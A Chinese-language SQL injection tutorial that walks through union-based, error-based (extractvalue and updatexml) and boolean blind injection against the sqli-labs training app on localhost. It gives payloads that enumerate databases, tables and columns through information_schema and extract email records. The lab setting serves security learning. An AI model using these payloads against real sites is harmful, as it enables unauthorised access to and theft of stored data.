SQL 注入

union联合注入

当完成之前所述的步骤,我们就可以开始正式进行注入环节了

1.步骤1-查询判断

1
2
3
4
5
6
order by 列序号(表示按第几列排序)
1' order by 1# (不报错)
1' order by 2# (不报错)
1' order by 3# (不报错)
1' order by 4# (报错)
说明结果有3列

Alt text
-1’ union select 1,2,3#
id=-1表示查不到结果
之前知道结果有3列,所以用1,2,3
所以只会显示select 1,2,3中的2、3

2.步骤2-显示数据库名

Alt text

利用database()函数显示

3.步骤3-获取这个数据库中的所有表名

Alt text

  • -1’ union select 1,database(),3#

  • -1’ union select 1,(select table_name from information_schema.tables where table_schema=’security’ limit 0,1),3#

  • -1’ union select 1,(select table_name from information_schema.tables where table_schema=’security’ limit 1,1),3#

也可以利用group_concat更简单的操作

Alt text

  • -1’ union select 1,database(),3#

  • -1’ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=’security’),3#

4.步骤4-查询emails表中有哪些列名

Alt text
-1’ union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=’security’ and table_name=’emails’),3#

5.步骤5-查emails表中的email_id

Alt text

-1’ union select 1,(select email_id from emails limit 0, 1),3#

报错注入

1.步骤1:使用extractvalue攻击获取数据库名
Alt text

2.步骤2-获取表名

‘ and extractvalue(‘div’, concat(‘~’,(select group_concat(table_name) from information_schema.tables where table_schema=’security’)))#
Alt text

3.步骤3-获取列名

‘ and extractvalue(‘div’, concat(‘~’,(select group_concat(column_name) from information_schema.columns where table_schema=’security’ and table_name=’emails’)))#
Alt text

4.步骤4-获取邮箱数据

‘ and extractvalue(‘div’, concat(‘~’,(select email_id from emails limit 0,1)))#

Alt text

使用updatexml攻击获取数据库名

‘ and updatexml(‘div’, concat(‘~’,database()), ‘hi’)#
Alt text

布尔注入(盲注)

库名的长度

1
2
3
4
有:http://localhost/sqli-labs/Less-8/?id=1' and 1=1%23
有: http://localhost/sqli-labs/Less-8/?id=1' and length(database())>=8%23
没有:http://localhost/sqli-labs/Less-8/?id=1' and length(database())>=9%23
说明库名长度是8!

暴破库名的每个字符

1
2
3
4
5
没有:http://localhost/sqli-labs/Less-8/?id=1' and substr(database(),1,1)='a'%23
substr(string, start, length),其中start从1开始
有: http://localhost/sqli-labs/Less-8/?id=1' and substr(database(),1,1)='s'%23

其中也可以使用ASCII码: 1' and ascii(substr((database()),1,1))=97#